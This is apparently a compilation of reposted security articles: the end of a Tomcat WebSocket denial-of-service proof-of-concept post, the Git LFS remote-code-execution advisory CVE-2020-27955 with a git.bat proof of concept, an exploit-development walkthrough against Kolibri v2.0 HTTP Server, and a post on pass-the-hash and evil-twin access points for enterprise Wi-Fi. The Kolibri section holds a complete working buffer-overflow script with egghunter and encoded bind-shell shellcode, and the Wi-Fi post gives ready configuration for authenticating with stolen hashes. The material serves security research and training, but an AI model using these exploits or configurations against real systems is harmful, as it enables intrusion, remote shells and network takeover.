time.Sleep(30 * time.Second) The code for this proof-of-concept exploit is available at github.com/RedTeamPentesting/CVE-2020-13935. Build the executable by just running go build. To test the program, we can set up a vulnerable Apache Tomcat instance and target one of the WebSocket examples provided with the installation: $ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic That is all it takes to exploit the denial-of-service vulnerability. If a vulnerable WebSocket endpoint is now targeted and multiple malicious requests are made, the CPU usage goes up quite quickly and the server becomes unresponsive. Note that the parsing code is only triggered with endpoints that actually expect WebSocket messages. We cannot send such a message to an arbitrary Tomcat HTTP endpoint. According to the vulnerability description the following versions of Apache Tomcat are affected: 10.0.0-M1 to 10.0.0-M6 9.0.0.M1 to 9.0.36 8.5.0 to 8.5.56 7.0.27 to 7.0.104 For Defenders If possible, update your Apache Tomcat server to the current version. However, there might be cases when updating is not feasible or very costly. In this case, you should evaluate whether your product is vulnerable. As explained above, the bug can only be triggered on WebSockets endpoints. Therefore, disabling or restricting access to those endpoints will mitigate the issue. Note that the built-in example directory also contains endpoints that handle WebSockets. Thats all folks, stay tuned for further updates! 😄 Sursa: https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/

__ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ <-- BACK TO legalhackers.com ============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - https://exploitbox.io - CVE-2020-27955 - Release date: 04.11.2020 - Revision 1.0 - Severity: Critical ============================================= I. VULNERABILITY ------------------------- Git Large File Storage / Git LFS (git-lfs) - Remote Code Execution (RCE) II. BACKGROUND ------------------------- Git LFS "An open source Git extension for versioning large files Git Large File Storage (LFS) replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while storing the file contents on a remote server like GitHub.com or GitHub Enterprise." https://git-lfs.github.com/ --- Git "Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency. https://git-scm.com/ III. INTRODUCTION ------------------------- Git LFS (git-lfs)in versions <= 2.12 has a vulnerability that allows remote attackers to execute arbitrary code on the victim's Windows system if the victim simply clones the attacker's repository using common git version control tools which make use of git-lfs subsystem. Vulnerable tools include: - git - GitHub CLI (gh CLI) - GitHub Desktop - SourceTree and others, in their default configuration. IV. DESCRIPTION ------------------------- Git LFS does not specify a full path to git binary when executing a new git process via the following ExecCommand() function: ------------[ git-lfs - subprocess/subprocess_windows.go ]---------- ... func ExecCommand(name string, arg ...string) *Cmd { cmd := exec.Command(name, arg...) cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} cmd.Env = fetchEnvironment() return newCmd(cmd) } ... -------------------------------------------------------------------- As the exec.Command() implementation on Windows systems include the current directory, attackers may be able to plant a backdoor in a malicious repository by simply adding an executable file named: git.bat, git.exe, git.cmd or any other extension that is used on the victim's system (PATHEXT environment dependent), in the main repo's directory. As a result, the malicious git binary planted in this way will get executed instead of the original git binary located in a trusted path. V. PROOF OF CONCEPT ------------------------- The most basic version of the git-lfs extension PoC exploit may be prepared with the following steps: 1. Open powershell 2. Create a file named git.bat with the contents: echo echo "git.bat executed, vulnerable" > exploited 3. Run the command: git-lfs track If the system has a vulnerable git-lfs version installed, 'exploited' file should get created in the current directory. A git client PoC exploit showing how to achieve Remote Code Execution (RCE) on the target upon cloning a malicious repository ('git clone' command) can be found at: Git RCE via CVE-2020-27955 git-lfs vulnerability Demos for other git clients can be viewed at: Visual Studio Code / VS Git-LFS RCE Exploit CVE-2020-27955 GitKraken Git-LFS RCE Exploit CVE-2020-27955 SmartGit Git-LFS RCE Exploit CVE-2020-27955 GitHub Desktop Git-LFS RCE Exploit CVE-2020-27955 VI. BUSINESS IMPACT ------------------------- The vulnerability can lead to a full compromise of the victim's system as attackers can execute arbitrary commands remotely without the knowledge of the victim and the vulnerability is trivial to exploit. Due to the critical severity, affected users and product vendors should update to the latest git-lfs version as soon as possible. VII. SYSTEMS AFFECTED ------------------------- Applications using git with unpatched Git LFS (git-lfs) <= 2.12 on Windows systems (Windows Server 2019, Windows 10 Pro etc.). The following clients have been confirmed to be exploitable in their default configuration / installation: - Git for Windows - GitHub CLI (gh) - GitHub Desktop - SmartGit - SourceTree - Visual Studio Code - GitKraken There are likely many more. Some of the other popular clients / development IDEs are deemed to be affected as well as most clients IDEs install git with git-lfs extension by default: - Eclipse - fork - tig - GitExtensions - Magit - TortoiseGit - gmaster - GitAhead - Sublime Merge - Visual Studio - GitAtomic - Tower - git-cola Web applications / hosted repositories running on Windows which allow users to import their repositories from a URL may also be exposed to this vulnerability. VIII. SOLUTION ------------------------- This Remote Code Execution vulnerability was reported to git-lfs vendor who issued a patched version 2.12.1 on the official git-lfs website linked below. IX. REFERENCES ------------------------- git-lfs official website Git-lfs security advisory Git website Git advisory and PoC git-lfs exploit resulting in RCE on clone git-lfs -RCE exploit CVE-2020-27955 source-code (Go) PoC repository on GitHub with git-lfs RCE CVE-2020-27955 exploit (bat/Powershell) PoC repository on GitHub with git-lfs RCE CVE-2020-27955 exploit (Go version) Git / GH CLI / Git-lfs PoC Video https://legalhackers.com https://ExploitBox.io X. CREDITS ------------------------- Discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com https://ExploitBox.io XI. REVISION HISTORY ------------------------- 04.11.2020 - Advisory released, rev. 1 XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. ~~~~~~~~~~~~~ ExploitBox.io ~~~~~~~~~~~~~~~~ ExploitBox.io A Playground & Labs for security folks into hacking & the art of exploitation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <-- BACK TO legalhackers.com Sursa; https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html

Exploit Development : Kolibri v2.0 HTTP Server with EggHunter Chenny Ren 1 day ago·5 min read I decide to write and publish a series of exercises walkthrough while I’m preparing for the OSCE exam. These exercises will heavily focus on exploit development Exercises Reference : fuzzysecurity http://fuzzysecurity.com/tutorials/expDev/4.html Kali Linux : 10.0.2.15 Windows XP Pro Sp3 running Kolibri v2.0 HTTP Server : 10.0.2.7 The list of badcharacters : “\x00\x0d\x0a\x3d\x20\x3f” Run the Kolibri v2.0 HTTP Server on win XP (the debugging machine) The HTTP server is running on port 8080 Attach the Kolibri to Immunity debugger while running Let’s create our initial python script to replicate the crash on Kali machine Send 600 “A”s to the victim machine using HEAP HTTP method EIP register is overwritten with “\x41”, the letter A in hex decimal. Follow ESP in dump we can see the buffer Use pattern_create.rb and pattern_offset.rb to find out how many “A”s we need to reach EIP replace the pattern we created with “A”s in the script and run again We see the EIP is overwritten by 32724131 Which means we need 515 “A”s to reach EIP Modify the script to verify this and we clearly see the EIP is overwritten by exact four “B”s Let’s find an address that can redirect execution flow to ESP !mona jpm -r esp “JMP ESP” found at 0x71A91C8B of wshtcpip.dll. update the address (reverse order) After redirecting our flow with “JMP ESP”, we only had little space to work. Although we have only 2 bytes to be used (C = \x43), there are some good space up where some of our initial “A”s What we do is jumping up a few bytes back to have some more space to work. One simple Assembly code for so is “\xEB\x??”, where “\xEB” corresponds to the jump and “\x??” to the number of bytes to go back. If we choose 50 bytes to go back, let’s use calc.exe to help us with this math: the hex is /xCE /xEB/xCE Now we have 50 bytes to use , generate a 32 bytes Egg Hunter using mona script with the egg value of “b33f” Add our shellcode on stage 2 , generate with msfvenom msfvenom -a x86 — platform Windows -p windows/shell_bind_tcp LPORT=4444 -f python -e x86/alpha_mixed Final step : getting a shell Set up a net cat listener on our local kali machine , listening on port 4444, execute the python script and we see we got a connect to the victim machine Done! Exploit Scripts #!/usr/bin/python # # Author : Chenny Ren # Exploiting Kolibri HTTP Server (EggHunter) # # import socket import os import sys # jmp esp found at 0x71a91c8b wshtcpip.dll # Short jmp 50 bytes back opcode: \xEB\xCE # 32 bytes Egghunter b33f egghunter = ( “\x66\x81\xca\xff” “\x0f\x42\x52\x6a” “\x02\x58\xcd\x2e” “\x3c\x05\x5a\x74” “\xef\xb8\x62\x33” #b3 “\x33\x66\x8b\xfa” #3f “\xaf\x75\xea\xaf” “\x75\xe7\xff\xe7”) shellcode = “” shellcode += “\xd9\xcd\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49” shellcode += “\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37” shellcode += “\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41” shellcode += “\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58” shellcode += “\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x38\x68\x6b\x32” shellcode += “\x73\x30\x37\x70\x65\x50\x51\x70\x6e\x69\x6a\x45\x70” shellcode += “\x31\x4b\x70\x75\x34\x4e\x6b\x62\x70\x50\x30\x6c\x4b” shellcode += “\x36\x32\x34\x4c\x4e\x6b\x31\x42\x35\x44\x4c\x4b\x52” shellcode += “\x52\x65\x78\x46\x6f\x6d\x67\x31\x5a\x35\x76\x66\x51” shellcode += “\x39\x6f\x6c\x6c\x67\x4c\x45\x31\x73\x4c\x44\x42\x66” shellcode += “\x4c\x47\x50\x79\x51\x5a\x6f\x34\x4d\x33\x31\x58\x47” shellcode += “\x68\x62\x38\x72\x70\x52\x52\x77\x4c\x4b\x53\x62\x36” shellcode += “\x70\x6c\x4b\x53\x7a\x45\x6c\x6e\x6b\x62\x6c\x66\x71” shellcode += “\x50\x78\x68\x63\x43\x78\x46\x61\x6e\x31\x52\x71\x4e” shellcode += “\x6b\x56\x39\x65\x70\x45\x51\x59\x43\x6e\x6b\x43\x79” shellcode += “\x75\x48\x7a\x43\x67\x4a\x51\x59\x4e\x6b\x37\x44\x6e” shellcode += “\x6b\x76\x61\x49\x46\x66\x51\x39\x6f\x6e\x4c\x6f\x31” shellcode += “\x5a\x6f\x36\x6d\x73\x31\x6a\x67\x67\x48\x79\x70\x51” shellcode += “\x65\x59\x66\x36\x63\x63\x4d\x6a\x58\x47\x4b\x71\x6d” shellcode += “\x34\x64\x51\x65\x59\x74\x76\x38\x4e\x6b\x42\x78\x31” shellcode += “\x34\x35\x51\x49\x43\x51\x76\x6e\x6b\x34\x4c\x70\x4b” shellcode += “\x6e\x6b\x43\x68\x55\x4c\x76\x61\x79\x43\x4e\x6b\x35” shellcode += “\x54\x4c\x4b\x35\x51\x4a\x70\x6c\x49\x43\x74\x56\x44” shellcode += “\x46\x44\x33\x6b\x63\x6b\x73\x51\x51\x49\x63\x6a\x42” shellcode += “\x71\x79\x6f\x79\x70\x53\x6f\x43\x6f\x43\x6a\x4c\x4b” shellcode += “\x32\x32\x4a\x4b\x4e\x6d\x71\x4d\x61\x78\x57\x43\x77” shellcode += “\x42\x47\x70\x47\x70\x63\x58\x31\x67\x50\x73\x76\x52” shellcode += “\x73\x6f\x31\x44\x42\x48\x70\x4c\x53\x47\x67\x56\x36” shellcode += “\x67\x79\x6f\x6b\x65\x6c\x78\x4c\x50\x65\x51\x73\x30” shellcode += “\x55\x50\x75\x79\x79\x54\x30\x54\x46\x30\x61\x78\x45” shellcode += “\x79\x4d\x50\x42\x4b\x45\x50\x4b\x4f\x69\x45\x73\x5a” shellcode += “\x64\x48\x73\x69\x32\x70\x38\x62\x39\x6d\x73\x70\x76” shellcode += “\x30\x37\x30\x76\x30\x70\x68\x38\x6a\x64\x4f\x79\x4f” shellcode += “\x79\x70\x79\x6f\x68\x55\x5a\x37\x45\x38\x63\x32\x47” shellcode += “\x70\x74\x51\x43\x6c\x4f\x79\x79\x76\x53\x5a\x62\x30” shellcode += “\x36\x36\x43\x67\x53\x58\x68\x42\x49\x4b\x77\x47\x43” shellcode += “\x57\x4b\x4f\x39\x45\x71\x47\x30\x68\x48\x37\x4b\x59” shellcode += “\x50\x38\x79\x6f\x4b\x4f\x59\x45\x53\x67\x52\x48\x31” shellcode += “\x64\x38\x6c\x67\x4b\x38\x61\x4b\x4f\x4b\x65\x43\x67” shellcode += “\x6f\x67\x71\x78\x63\x45\x32\x4e\x32\x6d\x63\x51\x79” shellcode += “\x6f\x5a\x75\x55\x38\x32\x43\x42\x4d\x43\x54\x75\x50” shellcode += “\x6b\x39\x69\x73\x73\x67\x56\x37\x46\x37\x66\x51\x58” shellcode += “\x76\x63\x5a\x46\x72\x76\x39\x33\x66\x39\x72\x4b\x4d” shellcode += “\x30\x66\x78\x47\x50\x44\x56\x44\x75\x6c\x65\x51\x36” shellcode += “\x61\x4e\x6d\x62\x64\x61\x34\x74\x50\x39\x56\x65\x50” shellcode += “\x31\x54\x73\x64\x66\x30\x52\x76\x62\x76\x30\x56\x51” shellcode += “\x56\x76\x36\x52\x6e\x32\x76\x66\x36\x31\x43\x63\x66” shellcode += “\x42\x48\x32\x59\x48\x4c\x35\x6f\x6e\x66\x79\x6f\x58” shellcode += “\x55\x6c\x49\x69\x70\x30\x4e\x56\x36\x61\x56\x4b\x4f” shellcode += “\x36\x50\x62\x48\x54\x48\x4f\x77\x45\x4d\x35\x30\x79” shellcode += “\x6f\x78\x55\x6f\x4b\x6c\x30\x6d\x65\x4c\x62\x71\x46” shellcode += “\x61\x78\x4f\x56\x4e\x75\x4d\x6d\x6f\x6d\x79\x6f\x6b” shellcode += “\x65\x67\x4c\x47\x76\x73\x4c\x54\x4a\x4d\x50\x4b\x4b” shellcode += “\x4b\x50\x53\x45\x64\x45\x6d\x6b\x32\x67\x56\x73\x42” shellcode += “\x52\x72\x4f\x72\x4a\x55\x50\x46\x33\x59\x6f\x79\x45” shellcode += “\x41\x41” Stage1 = “A” * 478 + egghunter + “A” * 5 + “\x8B\x1C\xA9\x71” + “\xEB\xCE” Stage2 = “b33fb33f” + shellcode buffer = ( “HEAD /” + Stage1 + “ HTTP/1.1\r\n” “Host: 10.0.2.7:8080\r\n” “User-Agent: “ + Stage2 + “\r\n” “Keep-Alive: 115\r\n” “Connection: keep-alive\r\n\r\n”) expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) expl.connect((“10.0.2.7”, 8080)) expl.send(buffer) expl.close() Sursa: https://chennyren.medium.com/exploit-development-kolibri-v2-0-http-server-with-egghunter-c6314708aabf

Pass-the-hash WiFi Reading time ~5 min Posted by Michael Kruger on 02 October 2020 Categories: Wifi Thanks to a tweet Dominic responded to, I saw someone mention Passing-the-hash when I think they actually meant relay. The terminology can be confusing for sure, however, it made me realise that I had never Passed-the-hash with a Wi-Fi network. So having learnt my lesson from previous projects I first made sure this was possible for NT -> MSCHAP by looking at the RFC. 8.1. GenerateNTResponse() GenerateNTResponse( IN 16-octet AuthenticatorChallenge, IN 16-octet PeerChallenge, IN 0-to-256-char UserName, IN 0-to-256-unicode-char Password, OUT 24-octet Response ) { 8-octet Challenge 16-octet PasswordHash ChallengeHash( PeerChallenge, AuthenticatorChallenge, UserName, giving Challenge) NtPasswordHash( Password, giving PasswordHash ) ChallengeResponse( Challenge, PasswordHash, giving Response ) } Looks like you can! As you can see in the above, the ChallengeResponse is created using the NT hash and not the password. I then checked wpa_supplicant to see if this was not a feature already, and it turns out it is! Looking at the wpa_supplicant configuration file it says: password: Password string for EAP. This field can include either the plaintext password (using ASCII or hex string) or a NtPasswordHash (16-byte MD4 hash of password) in hash:<32 hex digits> format. NtPasswordHash can only be used when the password is for MSCHAPv2 or MSCHAP (EAP-MSCHAPv2, EAP-TTLS/MSCHAPv2, EAP-TTLS/MSCHAP, LEAP). EAP-PSK (128-bit PSK), EAP-PAX (128-bit PSK), and EAP-SAKE (256-bit PSK) is also configured using this field. For EAP-GPSK, this is a variable length PSK. ext: format can be used to indicate that the password is stored in external storage. So to Pass-the-hash as a client when you use the password field in your wpa_supplicant.conf, just add a hash: in front and you can use that to authenticate. network={ ssid="example" scan_ssid=1 key_mgmt=WPA-EAP eap=PEAP identity="harold" password="hash:e19ccf75ee54e06b06a5907af13cef42" ca_cert="/etc/cert/ca.pem" phase1="peaplabel=0" phase2="auth=MSCHAPV2" } This becomes useful when the machine account authenticates to the Wi-Fi rather than the user. This gives you the option of using the machine hash which would typically not be crackable. Now if you have compromised some hashes and they are using PEAP for their Wi-Fi you can connect easy peasy. I am Corporate HotSpot I also wondered if we could do the reverse. Lets say we have dumped the domains passwords and would like to trick people into connecting to our Wi-Fi so that we can provide them with free internet? Spock’s Evil Twin Passing-the-hash As a quick reminder why this is an interesting vector, the reason we would want to do this is due to the mutual authentication requirement for MSCHAP. While your device is authenticating against an AP, it also checks the response from the AP to ensure it knows the password as well. So if you are unable to prove you know the password, users will not connect unless their device is specifically ignoring the verification (as was the case for CVE-2019-6203). Anyways, turns out you can do it from the other side as well as the AP only needs the NT hash as can be seen in the below pseudo code from the RFC: 8.7. GenerateAuthenticatorResponse() GenerateAuthenticatorResponse( IN 0-to-256-unicode-char Password, IN 24-octet NT-Response, IN 16-octet PeerChallenge, IN 16-octet AuthenticatorChallenge, IN 0-to-256-char UserName, OUT 42-octet AuthenticatorResponse ) { 16-octet PasswordHash 16-octet PasswordHashHash 8-octet Challenge /* * "Magic" constants used in response generation */ Magic1[39] = {0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74}; Magic2[41] = {0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F, 0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E, 0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E}; /* * Hash the password with MD4 */ NtPasswordHash( Password, giving PasswordHash ) /* * Now hash the hash */ HashNtPasswordHash( PasswordHash, giving PasswordHashHash) SHAInit(Context) SHAUpdate(Context, PasswordHashHash, 16) SHAUpdate(Context, NTResponse, 24) SHAUpdate(Context, Magic1, 39) SHAFinal(Context, Digest) ChallengeHash( PeerChallenge, AuthenticatorChallenge, UserName, giving Challenge) SHAInit(Context) SHAUpdate(Context, Digest, 20) SHAUpdate(Context, Challenge, 8) SHAUpdate(Context, Magic2, 41) SHAFinal(Context, Digest) /* * Encode the value of 'Digest' as "S=" followed by * 40 ASCII hexadecimal digits and return it in * AuthenticatorResponse. * For example, * "S=0123456789ABCDEF0123456789ABCDEF01234567" */ } Once again we just skip the part where we convert the password to an NT hash and just use the NT hash in the response generation. Hostapd supports this and the format looks like below: # Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users "test user" MSCHAPV2 hash:000102030405060708090a0b0c0d0e0f [2] Now you have a hotspot that all domain users can connect to, and you may be able to trick user devices into fully connecting so you can give them all the Internet. Sursa: https://sensepost.com/blog/2020/pass-the-hash-wifi/